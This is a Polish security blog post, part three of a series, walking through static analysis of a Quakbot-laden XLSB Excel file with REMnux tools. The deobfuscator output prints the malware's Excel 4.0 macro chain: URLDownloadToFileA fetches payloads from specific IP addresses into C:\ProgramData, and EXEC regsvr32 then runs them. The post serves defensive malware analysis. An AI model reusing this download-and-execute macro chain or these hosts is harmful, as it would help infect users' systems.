NFsec Logo

O statycznej analizie plików Microsoft Office słów kilka albo i więcej cz. III

26/01/2022 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 808, ilość słów: 2293)

T

ej części artykułu nie było w planach, ale pewna ewolucja Quakbota oraz pewne narzędzie, które “odkryłem” skłoniło mnie do napisania kolejnej części, która dodatkowo uzupełnia informacje z poprzednich. Atakujący zawsze próbują utrudnić życie obrońcom, a jeśli się da to również ich zmylić. Z tego prostego faktu wynika pewna zmiana w kolejnej odsłonie Quakbota. Pliki z arkuszami Excel są przesyłane w formie .xlsb. Co przynosi taka zmiana? Z punktu użytkownika nie za dużo, ale z punktu widzenia przechowywania informacji już całkiem sporo. XLSB jest zapisany w formacie binarnym, co powoduje, że narzędzia przedstawione w części drugiej artykułu nie działają (nie obsługują tego formatu pliku), albo działają w “upośledzony” sposób.

Wciąż oczywiście możemy wyznaczyć hash i porównać go na VirusTotal:

remnux@remnux:~$ sha256sum ReservationDetails.xlsb
dd9f225d76bc8e3386fcc85abb3c578815535edce0b47209c60fd4a739496203 ReservationDetails.xlsb

i użyć exiftool:

remnux@remnux:~$ exiftool ReservationDetails.xlsb
ExifTool Version Number         : 12.16
File Name                       : ReservationDetails.xlsb
Directory                       : .
File Size                       : 473 KiB
File Modification Date/Time     : 2021:12:09 09:30:41+01:00
File Access Date/Time           : 2021:12:20 21:39:23+01:00
File Inode Change Date/Time     : 2021:12:09 09:30:41+01:00
File Permissions                : rw-rw-r--
File Type                       : XLSB
File Type Extension             : xlsb
MIME Type                       : application/vnd.ms-excel.sheet.binary.macroEnabled
Zip Required Version            : 20
Zip Bit Flag                    : 0x0006
Zip Compression                 : Deflated
Zip Modify Date                 : 1980:01:01 00:00:00
Zip CRC                         : 0x811af8a4
Zip Compressed Size             : 523
Zip Uncompressed Size           : 2316
Zip File Name                   : [Content_Types].xml
Creator                         : Admin1
Last Modified By                : Jony
Create Date                     : 2015:06:05 18:19:34Z
Modify Date                     : 2021:12:08 09:08:50Z
Application                     : Microsoft Excel
Doc Security                    : None
Scale Crop                      : No
Heading Pairs                   : Листы, 1, Макросы Excel 4.0, 3
Titles Of Parts                 : Sheet2, Sheet, Tiposa, Tiposa1
Company                         : 
Links Up To Date                : No
Shared Doc                      : No
Hyperlinks Changed              : No
App Version                     : 16.0300

Z powyższego wydruku można się częściowo zorientować w sytuacji, niemniej jednak w momencie, gdy pierwszy raz sprawdzałem skrót pliku na VT wykrywały go raptem trzy silniki antywirusowe. W tym momencie jednak narzędzia z poprzedniej części artykułu nie pomogą nam dalej:

remnux@remnux:~$ olevba ReservationDetails.xlsb
olevba 0.56.1 on Python 3.8.5 - http://decalage.info/python/oletools
===============================================================================
FILE: ReservationDetails.xlsb
Type: OpenXML
No VBA macros found.

remnux@remnux:~$ oledump.py ReservationDetails.xlsb
Warning: no OLE file was found inside this ZIP container (OPC)

Możemy pójść o krok dalej i rozpakować plik, aby mieć kilka plików binarnych, na których możemy użyć polecenia strings (z odpowiednim parametrem dla enkodowania):

remnux@remnux:~$ unzip ReservationDetails.xlsb
Archive:  ReservationDetails.xlsb
  inflating: [Content_Types].xml     
  inflating: _rels/.rels             
  inflating: xl/workbook.bin         
  inflating: xl/_rels/workbook.bin.rels  
  inflating: xl/macrosheets/intlsheet1.bin  
  inflating: xl/macrosheets/sheet1.bin  
  inflating: xl/macrosheets/intlsheet2.bin  
  inflating: xl/worksheets/sheet1.bin  
  inflating: xl/theme/theme1.xml     
  inflating: xl/styles.bin           
  inflating: xl/sharedStrings.bin    
  inflating: xl/drawings/drawing1.xml  
 extracting: xl/media/image1.png     
  inflating: xl/macrosheets/_rels/intlsheet1.bin.rels  
  inflating: xl/macrosheets/_rels/sheet1.bin.rels  
  inflating: xl/macrosheets/_rels/intlsheet2.bin.rels  
  inflating: xl/worksheets/_rels/sheet1.bin.rels  
  inflating: xl/drawings/_rels/drawing1.xml.rels  
  inflating: xl/macrosheets/binaryIndex1.bin  
  inflating: xl/macrosheets/binaryIndex2.bin  
  inflating: xl/macrosheets/binaryIndex3.bin  
  inflating: xl/worksheets/binaryIndex1.bin  
  inflating: xl/printerSettings/printerSettings1.bin  
  inflating: xl/printerSettings/printerSettings2.bin  
  inflating: xl/calcChain.bin        
  inflating: docProps/core.xml       
  inflating: docProps/app.xml

Z plików możemy dowiedzieć się, że jest tu użyte macro XLM w wersji 4.0. Choć przydaje się znajomość cyrylicy:

remnux@remnux:~$ cat docProps/app.xml 

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties
    xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
    xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes">
    <Application>Microsoft Excel</Application>
    <DocSecurity>0</DocSecurity>
    <ScaleCrop>false</ScaleCrop>
    <HeadingPairs>
        <vt:vector size="4" baseType="variant">
                <vt:variant>
                        <vt:lpstr>Листы</vt:lpstr>
                </vt:variant>
                <vt:variant>
                        <vt:i4>1</vt:i4>
                </vt:variant>
                <vt:variant>
                        <vt:lpstr>Макросы Excel 4.0</vt:lpstr>
                </vt:variant>
                <vt:variant>
                        <vt:i4>3</vt:i4>
                </vt:variant>
        </vt:vector>
   </HeadingPairs>
   <TitlesOfParts>
        <vt:vector size="4" baseType="lpstr">
                <vt:lpstr>Sheet2</vt:lpstr>
                <vt:lpstr>Sheet</vt:lpstr>
                <vt:lpstr>Tiposa</vt:lpstr>
                <vt:lpstr>Tiposa1</vt:lpstr>
        </vt:vector>
   </TitlesOfParts>
   <Company></Company>
   <LinksUpToDate>false</LinksUpToDate>
   <SharedDoc>false</SharedDoc>
   <HyperlinksChanged>false</HyperlinksChanged>
   <AppVersion>16.0300</AppVersion>
</Properties>

Patrząc na parę innych plików możemy zobaczyć kilka podejrzanych rzeczy, ale brakuje nam przeglądu po całości, co powoduje, że trudniej tych kilka faktów złożyć w logiczną całość:

remnux@remnux:~/xl/macrosheets$ strings -e l sheet1.bin
URLDownloadTo
adTo
JJCCBB
FileA
Drozd
SHA-512
rId2

remnux@remnux:~/xl/macrosheets$ strings -e l intlsheet2.bin 
C:\ProgramData\Yukoste1.ocx
C:\ProgramData\Yukoste2.ocx
C:\ProgramData\Yukoste3.ocx
C:\ProgramData\Yukoste4.ocx
C:\ProgramData\Yukoste5.ocx
C:\ProgramData\Yukoste6.ocx
vr32  C:\P
rogram
Data\Yukoste1.ocx
    vr32 C:\P
rogram
Data\Yukoste2.ocx
    vr32 C:\P
rogram
Data\Yukoste3.ocx
regs
 vr32 -e -n -i:&Tiposa!G22&  C:\P
rogram
Data\Yukoste4.ocx
 vr32 -e -n -i:&Tiposa!G22&  C:\P
rogram
Data\Yukoste5.ocx
 vr32 -e -n -i:&Tiposa!G22&  C:\P
rogram
Data\Yukoste6.ocx
SHA-512
rId2

I w tym momencie możemy wykorzystać kolejne narzędzie XLMMacroDeobfuscator:

remnux@remnux:~$ xlmdeobfuscator --file ReservationDetails.xlsb

XLMMacroDeobfuscator(v0.2.3)

File: /home/remnux/ReservationDetails.xlsb
Unencrypted xlsb file
[Loading Cells]
auto_open: auto_open77777777777777777777777777777777777777777777777777777
7777777777777777777777777777777777777777777777777777777777777->Tiposa!$G$1
[Starting Deobfuscation]
CELL:G22 , FullEvaluation , 44551.353425925925
CELL:G25 , FullEvaluation , =REGISTER("uRlMon","URLDownloadToFileA","JJCCBB","Drozd",1,9)
CELL:G38 , FullEvaluation , GOTO(Tiposa1G8)
CELL:G9  , PartialEvaluation , =uRlMon.URLDownloadToFileA(0,
                               "http://79.141.167.207/44551.35344907407.dat",
                               "C:\ProgramData\Yukoste1.ocx",0,0)
CELL:G10 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0,
                               "http://185.82.127.192/44551.353472222225.dat",
                               "C:\ProgramData\Yukoste2.ocx",0,0)
CELL:G11 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0,
                               "http://103.155.93.153/44551.35349537037.dat",
                               "C:\ProgramData\Yukoste3.ocx",0,0)
CELL:G12 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0,
                               "http://103.155.93.153/44551.35351851852.dat2",
                               "C:\ProgramData\Yukoste4.ocx",0,0)
CELL:G13 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0,
                               "http://79.141.167.207/44551.353541666664.dat2",
                               "C:\ProgramData\Yukoste5.ocx",0,0)
CELL:G14 , PartialEvaluation , =uRlMon.URLDownloadToFileA(0,
                               "http://185.82.127.192/44551.35356481482.dat2",
                               "C:\ProgramData\Yukoste6.ocx",0,0)
CELL:G16 , PartialEvaluation , =EXEC("regsvr32  C:\ProgramData\Yukoste1.ocx")
CELL:G17 , PartialEvaluation , =EXEC("regsvr32 C:\ProgramData\Yukoste2.ocx")
CELL:G18 , PartialEvaluation , =EXEC("regsvr32 C:\ProgramData\Yukoste3.ocx")
CELL:G19 , PartialEvaluation , =EXEC("regsvr32 -e -n -i:&Tiposa!G22& 
                               C:\ProgramData\Yukoste4.ocx")
CELL:G20 , PartialEvaluation , =EXEC("regsvr32 -e -n -i:&Tiposa!G22&
                               C:\ProgramData\Yukoste5.ocx")
CELL:G21 , PartialEvaluation , =EXEC("regsvr32 -e -n -i:&Tiposa!G22&
                               C:\ProgramData\Yukoste6.ocx")
CELL:G24 , End               , HALT()
Files:
[END of Deobfuscation]
time elapsed: 0.13244295120239258

Jak sama nazwa sugeruje program ten zajmuje się makrami XLM i radzi sobie z tym absolutnie świetnie. Mamy pełen podgląd na sytuację i dodatkowo wynik jest już praktycznie zdeobfuskowany. Jak możemy zobaczyć Quakbot nie zmienił prawie nic w swoim schemacie działania. Wciąż używa makra XLM w wersji 4’tej i dalej używana jest ta sama funkcja (uRlMon.URLDownloadToFileA) z tej samej biblioteki. Pozwala ona ściągać ładunek (ang. payload) i za pomocą polecenia regsvr32 “wrzucić” go do systemu.

Na koniec muszę dodać, że spotkałem się jeszcze z alternatywnym podejściem. Zakłada ono przekonwertowanie pliku xlsb w plik xlsm i postępowanie według metodologi przedstawionej przez Didiera Stevensa. Mi jednak osobiście w tym wypadku nie udało się osiągnąć tak dobrych rezultatów jak powyżej i to w tak krótkim czasie, ale zachęcam do próbowania.

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , , , , , , ,

Komentowanie tego wpisu jest zablokowane.